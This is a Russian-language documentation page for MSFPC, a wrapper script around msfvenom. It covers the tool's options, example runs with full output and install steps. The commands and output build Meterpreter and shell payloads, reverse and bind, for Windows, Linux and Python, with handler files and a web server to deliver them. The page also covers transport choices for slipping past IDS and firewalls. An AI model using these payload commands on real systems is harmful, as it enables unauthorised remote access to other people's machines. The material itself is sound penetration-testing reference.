MSFvenom Payload Creator (MSFPC)
Быстрый способ сгенерировать различные «базовые» полезные нагрузки Meterpreter через msfvenom (часть платформы Metasploit) .
MSFvenom Payload Creator (MSFPC), создатель полезной нагрузки MSFvenom, - это обёртка для создания нескольких типов полезной нагрузки на основе выбора пользователя. Идея в том, чтобы упростить насколько возможно (требуется только один ввод) создание полезной нагрузки.
Конечной целью является полная автоматизация msfvenom и Metasploit для упрощения жизни пользователя (меню выбора IP, ресурсного файла/команд msfconsole, пакетное создание полезной нагрузки и возможность вводить любые аргументы в любом порядке (в различных форматах/шаблонах).
От пользователя требуется только ввести только желаемую платформу для полезной нагрузки, либо расширение файла (напр., exe).
Примеры автоматизации:
- Вместо IP интерфейса достаточно ввести его имя: eth0.
- Вместо внешнего IP достаточно ввести wan (MSFPC самостоятельно определит внешний IP адрес).
- Если нужно создать по одной каждой полезной нагрузке, то наберите loop.
- Массовое создание полезных нагрузок — всё или по фильтрам: batch (для всего), batch msf (для каждой опции Meterpreter), batch staged (для каждой staged полезной нагрузки) или batch cmd stageless (для каждой stageless command prompt). Подробности о staged и stageless ниже.
Примечание: скрипт НЕ будет пытаться как-либо обойти антивирусные решения на какой-либо стадии.
Домашняя страница: https://github.com/g0tmi1k/mpc
Автор: g0tmi1k
Лицензия: MIT
Справка по MSFPC
Использование:
1
msfpc <ТИП> (<ДОМЕН/IP>) (<ПОРТ>) (<CMD/MSF>) (<BIND/REVERSE>) (<STAGED/STAGELESS>) (<TCP/HTTP/HTTPS/FIND_PORT>) (<BATCH/LOOP>) (<VERBOSE>)
В качестве <ТИПа> возможен следующий ввод:
- APK
- ASP
- ASPX
- Bash [.sh]
- Java [.jsp]
- Linux [.elf]
- OSX [.macho]
- Perl [.pl]
- PHP
- Powershell [.ps1]
- Python [.py]
- Tomcat [.war]
- Windows [.exe // .dll]
Вместо указания <ДОМЕН/IP> вы можете ввести интерфейс и MSFPC определит его IP адрес.
При пропуске <ДОМЕН/IP> по умолчанию будет сделан переход в меню IP.
Пропуск <ПОРТа> установит значение по умолчанию 443.
<CMD> - это стандартная/родная команда оболочки/терминала для интерактивного взаимодействия.
<MSF> пользовательский кросс-платформенный шелл для получения всей мощи Metasploit.
Пропуск <CMD/MSF>, где это возможно, приведёт к дефолтному <MSF>.
Помните: Metasploit (ещё) не поддерживает <CMD/MSF> для формата любого <ТИПа>.
Полезная нагрузка <CMD> обычно меньше, чем <MSF> и проще для обхода EMET. Ограничивается поддержкой модулей пост модулей/скриптов Metasploit.
Полезная нагрузка <MSF> обычно больше чем <CMD>, поскольку она поставляется с большим количеством функций.
<BIND> открывает порт на стороне цели и атакующий к ней подключается. На целях часто заблокированы входящие соединения.
<REVERSE> заставляет цель подключиться к атакующему. Атакующему нужно открыть соответствующий порт.
Пропуск <BIND/REVERSE> установит по умолчанию <REVERSE>.
<BIND> позволяет атакующему подключиться когда он хочет. <REVERSE> требует от цели постоянно подключаться к атакующему для поддержания постоянного доступа.
<STAGED> разделяет полезную нагрузку на части, делая её меньше, но зависящей от Metasploit.
<STAGELESS> - это полностью самостоятельная полезная нагрузка. Более «стабильна», чем <STAGED>.
Пропуск <STAGED/STAGELESS>, когда это возможно, установит по умолчанию <STAGED>.
Помните: Metasploit (ещё) не поддерживает <STAGED/STAGELESS> для формата каждого <ТИПа>.
<STAGED> «лучше» в средах с низкой пропускной способностью и высокой задержкой.
<STAGELESS> считается «незаметнее» при обходе антивирусных защит. <STAGED> может работать «лучше» с IDS/IPS.
<TCP> это стандартный метод для подключения. Он наиболее совместим с ТИПАМИ как RAW. IDS могут легко его обнаружить.
<HTTP> делает связь похожей на HTTP трафик (не зашифрованный). Полезно при ограничении доступа, например, протоколом TCP 80.
<HTTPS> делает соединения похожими на (зашифрованный) с помощью SSL трафик HTTP. Полезно при контроле пакетов и ограничении доступа определёнными протоколами, например, TCP 443.
<FIND_PORT> попробует каждый порт на целевой машине в поиска выхода наружу. Полезно при фильтровании входящего/исходящего трафика файерволами. Переключиться на «allports» на основе <ТИПа>.
Пропуск <TCP/HTTP/HTTPS/FIND_PORT> установит по умолчанию <TCP>.
Изменение трафика на <HTTP>, а тем более на <HTTPS>, замедлит соединение и увеличит размер полезной нагрузки.
<BATCH> сгенерирует так много комбинаций, как это возможно: <ТИП>, <CMD + MSF>, <BIND + REVERSE>, <STAGED + STAGLESS> & <TCP + HTTP + HTTPS + FIND_PORT>
<LOOP> просто создаст по одной каждого <ТИПа>.
<VERBOSE> покажет больше информации.
Руководство по MSFPC
Страница man отсутствует.
Примеры запуска MSFPC
Полезная нагрузка для Windows и вручную указанный IP:
1
msfpc windows 192.168.1.10
Полезная нагрузка для Linux, IP адрес сетевого интерфейса eth0 и вручную указанный порт:
1
msfpc elf bind eth0 4444
Полезная нагрузка для Python, stageless command prompt:
1
msfpc stageless cmd py https
Полезная нагрузка каждого типа, используя IP адрес интерфейса eth1:
1
msfpc verbose loop eth1
Все возможные полезные нагрузки Meterpreter, используя WAN IP (внешний адрес)
1
msfpc msf batch wan
Полуинтерактивное создание Windows Meterpreter bind shell на порту 5555:
msfpc windows bind 5555 verbose
[*] MSFvenom Payload Creator (MSFPC v1.4.4)
[i] Use which
interface - IP address?:
[i] 1.) lo - 127.0.0.1
[i] 2.) eth0 - 172.16.193.160
[i] 3.) wan - 68.151.240.61
[?] Select 1-3, interface or IP address: 2
[i] IP: 172.16.193.160
[i] PORT: 5555
[i] TYPE: windows (windows/meterpreter/bind_tcp)
[i] SHELL: meterpreter
[i] DIRECTION: bind
[i] STAGE: staged
[i] METHOD: tcp
[i] CMD: msfvenom -p windows/meterpreter/bind_tcp
-f exe \
--platform windows -a x86 -e generic/none
LPORT=5555 \
> '/root/windows-meterpreter-staged-bind-tcp-5555.exe'
[i] windows meterpreter created: '/root/windows-meterpreter-staged-bind-tcp-5555.exe'
[i] File: PE32 executable (GUI) Intel 80386, for
MS Windows
[i] Size: 76K
[i] MD5: 5bdb434e053fa0a9894eb88720c09e2a
[i] SHA1: 9d51c45c76dfd947994cb4be61f5f9797b35167f
[i] MSF handler file: '/root/windows-meterpreter-staged-bind-tcp-5555-exe.rc'
[i] Run: msfconsole -q -r '/root/windows-meterpreter-staged-bind-tcp-5555-exe.rc'
[?] Quick web server (for
file
transfer)?: python2 -m SimpleHTTPServer 8080
[*] Done!
Автоматическая генерация полезной нагрузки Meterpreter под Windows с обратным соединением, используя IP интерфейса eth0 в качестве параметра LHOST:
msfpc windows eth0
[*] MSFvenom Payload Creator (MSFPC v1.4.4)
[i] IP: 172.16.193.160
[i] PORT: 443
[i] TYPE: windows (windows/meterpreter/reverse_tcp)
[i] CMD: msfvenom -p windows/meterpreter/reverse_tcp
-f exe \
--platform windows -a x86 -e generic/none
LHOST=172.16.193.160 LPORT=443 \
> '/root/windows-meterpreter-staged-reverse-tcp-443.exe'
[i] windows meterpreter created: '/root/windows-meterpreter-staged-reverse-tcp-443.exe'
[i] MSF handler file: '/root/windows-meterpreter-staged-reverse-tcp-443-exe.rc'
[i] Run: msfconsole -q -r '/root/windows-meterpreter-staged-reverse-tcp-443-exe.rc'
[?] Quick web server (for
file
transfer)?: python2 -m SimpleHTTPServer 8080
[*] Done!
Полезная нагрузка в формате Linux, полностью автоматическое создание используя вручную указанный интерфейс и порт + подробный вывод:
msfpc elf bind eth0 4444 verbose
[*] MSFvenom Payload Creator (MSFPC v1.4.4)
[i] IP: 192.168.103.142
[i] PORT: 4444
[i] TYPE: linux (linux/x86/shell/bind_tcp)
[i] SHELL: shell
[i] DIRECTION: bind
[i] STAGE: staged
[i] METHOD: tcp
[i] CMD: msfvenom -p linux/x86/shell/bind_tcp
-f elf \
--platform linux -a x86 -e generic/none
LPORT=4444 \
> '/root/linux-shell-staged-bind-tcp-4444.elf'
[i] linux shell created: '/root/linux-shell-staged-bind-tcp-4444.elf'
[i] File: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, corrupted section header size
[i] Size: 4.0K
[i] MD5: eed4623b765eea623f2e0206b63aad61
[i] SHA1: 0b5dabd945ef81ec9283768054b3c22125aa9185
[i] MSF handler file: '/root/linux-shell-staged-bind-tcp-4444-elf.rc'
[i] Run: msfconsole -q -r '/root/linux-shell-staged-bind-tcp-4444-elf.rc'
[?] Quick web server (for
file
transfer)?: python2 -m SimpleHTTPServer 8080
[*] Done!
Полезная нагрузка в формате Python, интерактивное меню IP:
msfpc stageless cmd py tcp
[*] MSFvenom Payload Creator (MSFPC v1.4.4)
[i] Use which
interface - IP address?:
[i] 1.) eth0 - 192.168.103.142
[i] 2.) lo - 127.0.0.1
[i] 3.) wan - 31.204.154.174
[?] Select 1-3, interface or IP address: 1
[i] IP: 192.168.103.142
[i] PORT: 443
[i] TYPE: python (python/shell_reverse_tcp)
[i] CMD: msfvenom -p python/shell_reverse_tcp
-f raw \
--platform python -e generic/none
-a python LHOST=192.168.103.142 LPORT=443 \
> '/root/python-shell-stageless-reverse-tcp-443.py'
[i] python shell created: '/root/python-shell-stageless-reverse-tcp-443.py'
[i] MSF handler file: '/root/python-shell-stageless-reverse-tcp-443-py.rc'
[i] Run: msfconsole -q -r '/root/python-shell-stageless-reverse-tcp-443-py.rc'
[?] Quick web server (for
file
transfer)?: python2 -m SimpleHTTPServer 8080
[*] Done!
Установка MSFPC
Установка в Kali Linux
sudo
apt install
-y msfpc
Установка в BlackArch
sudo
pacman -S metasploit
sudo
wget "https://raw.githubusercontent.com/g0tmi1k/mpc/master/msfpc.sh"
-O /usr/local/bin/msfpc
sudo
chmod
0755 /usr/local/bin/msfpc
msfpc -h
Информация об установке в другие операционные системы будет добавлена позже.